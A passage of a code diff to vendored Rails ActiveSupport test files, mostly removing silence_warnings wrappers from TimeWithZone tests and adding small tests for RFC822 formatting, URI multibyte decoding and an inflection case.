b/vendor/rails/activesupport/test/core_ext/duration_test.rb @@ -94,19 +94,17 @@ class DurationTest < ActiveSupport::TestCase end def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_default_set - silence_warnings do # silence warnings raised by tzinfo gem - Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - with_env_tz 'US/Eastern' do - Time.stubs(:now).returns Time.local(2000) - # since - assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone) - assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time - assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name - # ago - assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone) - assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time - assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name - end + Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + with_env_tz 'US/Eastern' do + Time.stubs(:now).returns Time.local(2000) + # since + assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone) + assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time + assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name + # ago + assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone) + assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time + assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name end ensure Time.zone_default = nil diff --git a/vendor/rails/activesupport/test/core_ext/time_ext_test.rb b/vendor/rails/activesupport/test/core_ext/time_ext_test.rb index 52d6c18d..c0855520 100644 --- a/vendor/rails/activesupport/test/core_ext/time_ext_test.rb +++ b/vendor/rails/activesupport/test/core_ext/time_ext_test.rb @@ -461,6 +461,10 @@ class TimeExtCalculationsTest < Test::Unit::TestCase with_env_tz "UTC" do assert_equal "Mon, 21 Feb 2005 17:44:30 +0000", time.to_s(:rfc822) end + with_env_tz "US/Central" do + assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_s(:rfc822) + assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_s(:rfc822) + end end def test_custom_date_format diff --git a/vendor/rails/activesupport/test/core_ext/time_with_zone_test.rb b/vendor/rails/activesupport/test/core_ext/time_with_zone_test.rb index 4dc1fec5..1de6a2ac 100644 --- a/vendor/rails/activesupport/test/core_ext/time_with_zone_test.rb +++ b/vendor/rails/activesupport/test/core_ext/time_with_zone_test.rb @@ -13,9 +13,7 @@ class TimeWithZoneTest < Test::Unit::TestCase end def test_time - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal Time.utc(1999, 12, 31, 19), @twz.time - end + assert_equal Time.utc(1999, 12, 31, 19), @twz.time end def test_time_zone @@ -42,30 +40,22 @@ class TimeWithZoneTest < Test::Unit::TestCase end def test_formatted_offset - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal '-05:00', @twz.formatted_offset - assert_equal '-04:00', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).formatted_offset #dst - end + assert_equal '-05:00', @twz.formatted_offset + assert_equal '-04:00', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).formatted_offset #dst end def test_dst? - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal false, @twz.dst? - assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).dst? - end + assert_equal false, @twz.dst? + assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).dst? end def test_zone - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal 'EST', @twz.zone - assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst - end + assert_equal 'EST', @twz.zone + assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst end def test_to_json - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal "\"1999/12/31 19:00:00 -0500\"", @twz.to_json - end + assert_equal "\"1999/12/31 19:00:00 -0500\"", @twz.to_json end def test_to_json_with_use_standard_json_time_format_config_set_to_true @@ -76,66 +66,50 @@ class TimeWithZoneTest < Test::Unit::TestCase end def test_strftime - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal '1999-12-31 19:00:00 EST -0500', @twz.strftime('%Y-%m-%d %H:%M:%S %Z %z') - end + assert_equal '1999-12-31 19:00:00 EST -0500', @twz.strftime('%Y-%m-%d %H:%M:%S %Z %z') end def test_inspect - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal 'Fri, 31 Dec 1999 19:00:00 EST -05:00', @twz.inspect - end + assert_equal 'Fri, 31 Dec 1999 19:00:00 EST -05:00', @twz.inspect end def test_to_s - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal '1999-12-31 19:00:00 -0500', @twz.to_s - end + assert_equal '1999-12-31 19:00:00 -0500', @twz.to_s + end + + def test_to_formatted_s + assert_equal '1999-12-31 19:00:00 -0500', @twz.to_formatted_s end def test_to_s_db - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal '2000-01-01 00:00:00', @twz.to_s(:db) - end + assert_equal '2000-01-01 00:00:00', @twz.to_s(:db) end def test_xmlschema - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema - end + assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema end def test_xmlschema_with_fractional_seconds - silence_warnings do # silence warnings raised by tzinfo gem - @twz += 0.123456 # advance the time by a fraction of a second - assert_equal "1999-12-31T19:00:00.123-05:00", @twz.xmlschema(3) - assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(6) - assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(12) - end + @twz += 0.123456 # advance the time by a fraction of a second + assert_equal "1999-12-31T19:00:00.123-05:00", @twz.xmlschema(3) + assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(6) + assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(12) end def test_to_yaml - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal "--- 1999-12-31 19:00:00 -05:00\n", @twz.to_yaml - end + assert_equal "--- 1999-12-31 19:00:00 -05:00\n", @twz.to_yaml end def test_ruby_to_yaml - silence_warnings do - assert_equal "--- \n:twz: 2000-01-01 00:00:00 Z\n", {:twz => @twz}.to_yaml - end + assert_equal "--- \n:twz: 2000-01-01 00:00:00 Z\n", {:twz => @twz}.to_yaml end def test_httpdate - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal 'Sat, 01 Jan 2000 00:00:00 GMT', @twz.httpdate - end + assert_equal 'Sat, 01 Jan 2000 00:00:00 GMT', @twz.httpdate end def test_rfc2822 - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal "Fri, 31 Dec 1999 19:00:00 -0500", @twz.rfc2822 - end + assert_equal "Fri, 31 Dec 1999 19:00:00 -0500", @twz.rfc2822 end def test_compare_with_time @@ -209,50 +183,36 @@ class TimeWithZoneTest < Test::Unit::TestCase end def test_plus_with_integer - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal Time.utc(1999, 12, 31, 19, 0 ,5), (@twz + 5).time - end + assert_equal Time.utc(1999, 12, 31, 19, 0 ,5), (@twz + 5).time end def test_plus_with_integer_when_self_wraps_datetime - silence_warnings do # silence warnings raised by tzinfo gem - datetime = DateTime.civil(2000, 1, 1, 0) - twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone) - assert_equal DateTime.civil(1999, 12, 31, 19, 0 ,5), (twz + 5).time - end + datetime = DateTime.civil(2000, 1, 1, 0) + twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone) + assert_equal DateTime.civil(1999, 12, 31, 19, 0 ,5), (twz + 5).time end def test_plus_when_crossing_time_class_limit - silence_warnings do # silence warnings raised by tzinfo gem - twz = ActiveSupport::TimeWithZone.new(Time.utc(2038, 1, 19), @time_zone) - assert_equal [0, 0, 19, 19, 1, 2038], (twz + 86_400).to_a[0,6] - end + twz = ActiveSupport::TimeWithZone.new(Time.utc(2038, 1, 19), @time_zone) + assert_equal [0, 0, 19, 19, 1, 2038], (twz + 86_400).to_a[0,6] end def test_plus_with_duration - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal Time.utc(2000, 1, 5, 19, 0 ,0), (@twz + 5.days).time - end + assert_equal Time.utc(2000, 1, 5, 19, 0 ,0), (@twz + 5.days).time end def test_minus_with_integer - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal Time.utc(1999, 12, 31, 18, 59 ,55), (@twz - 5).time - end + assert_equal Time.utc(1999, 12, 31, 18, 59 ,55), (@twz - 5).time end def test_minus_with_integer_when_self_wraps_datetime - silence_warnings do # silence warnings raised by tzinfo gem - datetime = DateTime.civil(2000, 1, 1, 0) - twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone) - assert_equal DateTime.civil(1999, 12, 31, 18, 59 ,55), (twz - 5).time - end + datetime = DateTime.civil(2000, 1, 1, 0) + twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone) + assert_equal DateTime.civil(1999, 12, 31, 18, 59 ,55), (twz - 5).time end def test_minus_with_duration - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal Time.utc(1999, 12, 26, 19, 0 ,0), (@twz - 5.days).time - end + assert_equal Time.utc(1999, 12, 26, 19, 0 ,0), (@twz - 5.days).time end def test_minus_with_time @@ -265,56 +225,50 @@ class TimeWithZoneTest < Test::Unit::TestCase twz2 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) assert_equal 86_400.0, twz2 - twz1 end - + def test_minus_with_datetime assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1) end - + def test_minus_with_wrapped_datetime assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 1) assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1) end def test_plus_and_minus_enforce_spring_dst_rules - silence_warnings do # silence warnings raised by tzinfo gem - utc = Time.utc(2006,4,2,6,59,59) # == Apr 2 2006 01:59:59 EST; i.e., 1 second before daylight savings start - twz = ActiveSupport::TimeWithZone.new(utc, @time_zone) - assert_equal Time.utc(2006,4,2,1,59,59), twz.time - assert_equal false, twz.dst? - assert_equal 'EST', twz.zone - twz = twz + 1 - assert_equal Time.utc(2006,4,2,3), twz.time # adding 1 sec springs forward to 3:00AM EDT - assert_equal true, twz.dst? - assert_equal 'EDT', twz.zone - twz = twz - 1 # subtracting 1 second takes goes back to 1:59:59AM EST - assert_equal Time.utc(2006,4,2,1,59,59), twz.time - assert_equal false, twz.dst? - assert_equal 'EST', twz.zone - end + utc = Time.utc(2006,4,2,6,59,59) # == Apr 2 2006 01:59:59 EST; i.e., 1 second before daylight savings start + twz = ActiveSupport::TimeWithZone.new(utc, @time_zone) + assert_equal Time.utc(2006,4,2,1,59,59), twz.time + assert_equal false, twz.dst? + assert_equal 'EST', twz.zone + twz = twz + 1 + assert_equal Time.utc(2006,4,2,3), twz.time # adding 1 sec springs forward to 3:00AM EDT + assert_equal true, twz.dst? + assert_equal 'EDT', twz.zone + twz = twz - 1 # subtracting 1 second takes goes back to 1:59:59AM EST + assert_equal Time.utc(2006,4,2,1,59,59), twz.time + assert_equal false, twz.dst? + assert_equal 'EST', twz.zone end def test_plus_and_minus_enforce_fall_dst_rules - silence_warnings do # silence warnings raised by tzinfo gem - utc = Time.utc(2006,10,29,5,59,59) # == Oct 29 2006 01:59:59 EST; i.e., 1 second before daylight savings end - twz = ActiveSupport::TimeWithZone.new(utc, @time_zone) - assert_equal Time.utc(2006,10,29,1,59,59), twz.time - assert_equal true, twz.dst? - assert_equal 'EDT', twz.zone - twz = twz + 1 - assert_equal Time.utc(2006,10,29,1), twz.time # adding 1 sec falls back from 1:59:59 EDT to 1:00AM EST - assert_equal false, twz.dst? - assert_equal 'EST', twz.zone - twz = twz - 1 - assert_equal Time.utc(2006,10,29,1,59,59), twz.time # subtracting 1 sec goes back to 1:59:59AM EDT - assert_equal true, twz.dst? - assert_equal 'EDT', twz.zone - end + utc = Time.utc(2006,10,29,5,59,59) # == Oct 29 2006 01:59:59 EST; i.e., 1 second before daylight savings end + twz = ActiveSupport::TimeWithZone.new(utc, @time_zone) + assert_equal Time.utc(2006,10,29,1,59,59), twz.time + assert_equal true, twz.dst? + assert_equal 'EDT', twz.zone + twz = twz + 1 + assert_equal Time.utc(2006,10,29,1), twz.time # adding 1 sec falls back from 1:59:59 EDT to 1:00AM EST + assert_equal false, twz.dst? + assert_equal 'EST', twz.zone + twz = twz - 1 + assert_equal Time.utc(2006,10,29,1,59,59), twz.time # subtracting 1 sec goes back to 1:59:59AM EDT + assert_equal true, twz.dst? + assert_equal 'EDT', twz.zone end def test_to_a - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal [45, 30, 5, 1, 2, 2000, 2, 32, false, "HST"], ActiveSupport::TimeWithZone.new( Time.utc(2000, 2, 1, 15, 30, 45), ActiveSupport::TimeZone['Hawaii'] ).to_a - end + assert_equal [45, 30, 5, 1, 2, 2000, 2, 32, false, "HST"], ActiveSupport::TimeWithZone.new( Time.utc(2000, 2, 1, 15, 30, 45), ActiveSupport::TimeZone['Hawaii'] ).to_a end def test_to_f @@ -334,22 +288,18 @@ class TimeWithZoneTest < Test::Unit::TestCase end def test_to_date - silence_warnings do # silence warnings raised by tzinfo gem - # 1 sec before midnight Jan 1 EST - assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date - # midnight Jan 1 EST - assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date - # 1 sec before midnight Jan 2 EST - assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date - # midnight Jan 2 EST - assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date - end + # 1 sec before midnight Jan 1 EST + assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date + # midnight Jan 1 EST + assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date + # 1 sec before midnight Jan 2 EST + assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date + # midnight Jan 2 EST + assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date end def test_to_datetime - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal DateTime.civil(1999, 12, 31, 19, 0, 0, Rational(-18_000, 86_400)), @twz.to_datetime - end + assert_equal DateTime.civil(1999, 12, 31, 19, 0, 0, Rational(-18_000, 86_400)), @twz.to_datetime end def test_acts_like_time @@ -369,44 +319,38 @@ class TimeWithZoneTest < Test::Unit::TestCase end def test_method_missing_with_time_return_value - silence_warnings do # silence warnings raised by tzinfo gem - assert_instance_of ActiveSupport::TimeWithZone, @twz.months_since(1) - assert_equal Time.utc(2000, 1, 31, 19, 0 ,0), @twz.months_since(1).time - end + assert_instance_of ActiveSupport::TimeWithZone, @twz.months_since(1) + assert_equal Time.utc(2000, 1, 31, 19, 0 ,0), @twz.months_since(1).time end def test_marshal_dump_and_load - silence_warnings do # silence warnings raised by tzinfo gem - marshal_str = Marshal.dump(@twz) - mtime = Marshal.load(marshal_str) - assert_equal Time.utc(2000, 1, 1, 0), mtime.utc - assert mtime.utc.utc? - assert_equal ActiveSupport::TimeZone['Eastern Time (US & Canada)'], mtime.time_zone - assert_equal Time.utc(1999, 12, 31, 19), mtime.time - assert mtime.time.utc? - assert_equal @twz.inspect, mtime.inspect - end + marshal_str = Marshal.dump(@twz) + mtime = Marshal.load(marshal_str) + assert_equal Time.utc(2000, 1, 1, 0), mtime.utc + assert mtime.utc.utc? + assert_equal ActiveSupport::TimeZone['Eastern Time (US & Canada)'], mtime.time_zone + assert_equal Time.utc(1999, 12, 31, 19), mtime.time + assert mtime.time.utc? + assert_equal @twz.inspect, mtime.inspect end def test_marshal_dump_and_load_with_tzinfo_identifier - silence_warnings do # silence warnings raised by tzinfo gem - twz = ActiveSupport::TimeWithZone.new(@utc, TZInfo::Timezone.get('America/New_York')) - marshal_str = Marshal.dump(twz) - mtime = Marshal.load(marshal_str) - assert_equal Time.utc(2000, 1, 1, 0), mtime.utc - assert mtime.utc.utc? - assert_equal 'America/New_York', mtime.time_zone.name - assert_equal Time.utc(1999, 12, 31, 19), mtime.time - assert mtime.time.utc? - assert_equal @twz.inspect, mtime.inspect - end + twz = ActiveSupport::TimeWithZone.new(@utc, TZInfo::Timezone.get('America/New_York')) + marshal_str = Marshal.dump(twz) + mtime = Marshal.load(marshal_str) + assert_equal Time.utc(2000, 1, 1, 0), mtime.utc + assert mtime.utc.utc? + assert_equal 'America/New_York', mtime.time_zone.name + assert_equal Time.utc(1999, 12, 31, 19), mtime.time + assert mtime.time.utc? + assert_equal @twz.inspect, mtime.inspect end - + def test_freeze @twz.freeze assert @twz.frozen? end - + def test_freeze_preloads_instance_variables @twz.freeze assert_nothing_raised do @@ -416,66 +360,52 @@ class TimeWithZoneTest < Test::Unit::TestCase end def test_method_missing_with_non_time_return_value - silence_warnings do # silence warnings raised by tzinfo gem - @twz.time.expects(:foo).returns('bar') - assert_equal 'bar', @twz.foo - end + @twz.time.expects(:foo).returns('bar') + assert_equal 'bar', @twz.foo end def test_date_part_value_methods - silence_warnings do # silence warnings raised by tzinfo gem - twz = ActiveSupport::TimeWithZone.new(Time.utc(1999,12,31,19,18,17,500), @time_zone) - twz.expects(:method_missing).never - assert_equal 1999, twz.year - assert_equal 12, twz.month - assert_equal 31, twz.day - assert_equal 14, twz.hour - assert_equal 18, twz.min - assert_equal 17, twz.sec - assert_equal 500, twz.usec - assert_equal 5, twz.wday - assert_equal 365, twz.yday - end + twz = ActiveSupport::TimeWithZone.new(Time.utc(1999,12,31,19,18,17,500), @time_zone) + twz.expects(:method_missing).never + assert_equal 1999, twz.year + assert_equal 12, twz.month + assert_equal 31, twz.day + assert_equal 14, twz.hour + assert_equal 18, twz.min + assert_equal 17, twz.sec + assert_equal 500, twz.usec + assert_equal 5, twz.wday + assert_equal 365, twz.yday end def test_usec_returns_0_when_datetime_is_wrapped - silence_warnings do # silence warnings raised by tzinfo gem - twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone) - assert_equal 0, twz.usec - end + twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone) + assert_equal 0, twz.usec end def test_utc_to_local_conversion_saves_period_in_instance_variable - silence_warnings do # silence warnings raised by tzinfo gem - assert_nil @twz.instance_variable_get('@period') - @twz.time - assert_kind_of TZInfo::TimezonePeriod, @twz.instance_variable_get('@period') - end + assert_nil @twz.instance_variable_get('@period') + @twz.time + assert_kind_of TZInfo::TimezonePeriod, @twz.instance_variable_get('@period') end def test_instance_created_with_local_time_returns_correct_utc_time - silence_warnings do # silence warnings raised by tzinfo gem - twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 19)) - assert_equal Time.utc(2000), twz.utc - end + twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 19)) + assert_equal Time.utc(2000), twz.utc end def test_instance_created_with_local_time_enforces_spring_dst_rules - silence_warnings do # silence warnings raised by tzinfo gem - twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,2)) # first second of DST - assert_equal Time.utc(2006,4,2,3), twz.time # springs forward to 3AM - assert_equal true, twz.dst? - assert_equal 'EDT', twz.zone - end + twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,2)) # first second of DST + assert_equal Time.utc(2006,4,2,3), twz.time # springs forward to 3AM + assert_equal true, twz.dst? + assert_equal 'EDT', twz.zone end def test_instance_created_with_local_time_enforces_fall_dst_rules - silence_warnings do # silence warnings raised by tzinfo gem - twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,1)) # 1AM can be either DST or non-DST; we'll pick DST - assert_equal Time.utc(2006,10,29,1), twz.time - assert_equal true, twz.dst? - assert_equal 'EDT', twz.zone - end + twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,1)) # 1AM can be either DST or non-DST; we'll pick DST + assert_equal Time.utc(2006,10,29,1), twz.time + assert_equal true, twz.dst? + assert_equal 'EDT', twz.zone end def test_ruby_19_weekday_name_query_methods @@ -486,15 +416,11 @@ class TimeWithZoneTest < Test::Unit::TestCase end def test_utc_to_local_conversion_with_far_future_datetime - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal [0,0,19,31,12,2049], ActiveSupport::TimeWithZone.new(DateTime.civil(2050), @time_zone).to_a[0,6] - end + assert_equal [0,0,19,31,12,2049], ActiveSupport::TimeWithZone.new(DateTime.civil(2050), @time_zone).to_a[0,6] end def test_local_to_utc_conversion_with_far_future_datetime - silence_warnings do # silence warnings raised by tzinfo gem - assert_equal DateTime.civil(2050).to_f, ActiveSupport::TimeWithZone.new(nil, @time_zone, DateTime.civil(2049,12,31,19)).to_f - end + assert_equal DateTime.civil(2050).to_f, ActiveSupport::TimeWithZone.new(nil, @time_zone, DateTime.civil(2049,12,31,19)).to_f end def test_change @@ -782,42 +708,36 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < Test::Unit::TestCase end def test_in_time_zone - silence_warnings do # silence warnings raised by tzinfo gem - Time.use_zone 'Alaska' do - assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone.inspect - assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone.inspect - end - Time.use_zone 'Hawaii' do - assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone.inspect - assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone.inspect - end - Time.use_zone nil do - assert_equal @t, @t.in_time_zone - assert_equal @dt, @dt.in_time_zone - end + Time.use_zone 'Alaska' do + assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone.inspect + assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone.inspect + end + Time.use_zone 'Hawaii' do + assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone.inspect + assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone.inspect + end + Time.use_zone nil do + assert_equal @t, @t.in_time_zone + assert_equal @dt, @dt.in_time_zone end end def test_in_time_zone_with_argument - silence_warnings do # silence warnings raised by tzinfo gem - Time.use_zone 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone) - assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone('Alaska').inspect - assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone('Alaska').inspect - assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone('Hawaii').inspect - assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone('Hawaii').inspect - assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @t.in_time_zone('UTC').inspect - assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @dt.in_time_zone('UTC').inspect - assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone(-9.hours).inspect - end + Time.use_zone 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone) + assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone('Alaska').inspect + assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone('Alaska').inspect + assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone('Hawaii').inspect + assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone('Hawaii').inspect + assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @t.in_time_zone('UTC').inspect + assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @dt.in_time_zone('UTC').inspect + assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone(-9.hours).inspect end end def test_in_time_zone_with_time_local_instance - silence_warnings do # silence warnings raised by tzinfo gem - with_env_tz 'US/Eastern' do - time = Time.local(1999, 12, 31, 19) # == Time.utc(2000) - assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', time.in_time_zone('Alaska').inspect - end + with_env_tz 'US/Eastern' do + time = Time.local(1999, 12, 31, 19) # == Time.utc(2000) + assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', time.in_time_zone('Alaska').inspect end end @@ -872,24 +792,20 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < Test::Unit::TestCase end def test_time_zone_setter_with_tzinfo_timezone_object_wraps_in_rails_time_zone - silence_warnings do # silence warnings raised by tzinfo gem - tzinfo = TZInfo::Timezone.get('America/New_York') - Time.zone = tzinfo - assert_kind_of ActiveSupport::TimeZone, Time.zone - assert_equal tzinfo, Time.zone.tzinfo - assert_equal 'America/New_York', Time.zone.name - assert_equal(-18_000, Time.zone.utc_offset) - end + tzinfo = TZInfo::Timezone.get('America/New_York') + Time.zone = tzinfo + assert_kind_of ActiveSupport::TimeZone, Time.zone + assert_equal tzinfo, Time.zone.tzinfo + assert_equal 'America/New_York', Time.zone.name + assert_equal(-18_000, Time.zone.utc_offset) end def test_time_zone_setter_with_tzinfo_timezone_identifier_does_lookup_and_wraps_in_rails_time_zone - silence_warnings do # silence warnings raised by tzinfo gem - Time.zone = 'America/New_York' - assert_kind_of ActiveSupport::TimeZone, Time.zone - assert_equal 'America/New_York', Time.zone.tzinfo.name - assert_equal 'America/New_York', Time.zone.name - assert_equal(-18_000, Time.zone.utc_offset) - end + Time.zone = 'America/New_York' + assert_kind_of ActiveSupport::TimeZone, Time.zone + assert_equal 'America/New_York', Time.zone.tzinfo.name + assert_equal 'America/New_York', Time.zone.name + assert_equal(-18_000, Time.zone.utc_offset) end def test_time_zone_setter_with_non_identifying_argument_returns_nil @@ -908,14 +824,12 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < Test::Unit::TestCase end def test_current_returns_time_zone_now_when_zone_default_set - silence_warnings do # silence warnings raised by tzinfo gem - Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - with_env_tz 'US/Eastern' do - Time.stubs(:now).returns Time.local(2000) - assert_equal true, Time.current.is_a?(ActiveSupport::TimeWithZone) - assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name - assert_equal Time.utc(2000), Time.current.time - end + Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + with_env_tz 'US/Eastern' do + Time.stubs(:now).returns Time.local(2000) + assert_equal true, Time.current.is_a?(ActiveSupport::TimeWithZone) + assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name + assert_equal Time.utc(2000), Time.current.time end ensure Time.zone_default = nil diff --git a/vendor/rails/activesupport/test/core_ext/uri_ext_test.rb b/vendor/rails/activesupport/test/core_ext/uri_ext_test.rb new file mode 100644 index 00000000..0837d3cb --- /dev/null +++ b/vendor/rails/activesupport/test/core_ext/uri_ext_test.rb @@ -0,0 +1,12 @@ +require 'abstract_unit' +require 'uri' + +class URIExtTest < Test::Unit::TestCase + def test_uri_decode_handle_multibyte + str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese. + str.force_encoding(Encoding::UTF_8) if str.respond_to?(:force_encoding) + + assert_equal str, URI.unescape(URI.escape(str)) + assert_equal str, URI.decode(URI.escape(str)) + end +end diff --git a/vendor/rails/activesupport/test/inflector_test_cases.rb b/vendor/rails/activesupport/test/inflector_test_cases.rb index 481c3e83..b7ac467c 100644 --- a/vendor/rails/activesupport/test/inflector_test_cases.rb +++ b/vendor/rails/activesupport/test/inflector_test_cases.rb @@ -99,7 +99,8 @@ module InflectorTestCases "prize" => "prizes", "edge" => "edges", - "cow" => "kine" + "cow" => "kine", + "database" => "databases" } CamelToUnderscore = { diff --git a/vendor/rails/activesupport/test/json/decoding_test.rb b/vendor/rails/activesupport/test/json/decoding_test.rb index 558b03b9..ebd46a85 100644 --- a/vendor/rails/activesupport/test/json/decoding_test.rb +++ b/vendor/rails/activesupport/test/json/decoding_test.rb @@ 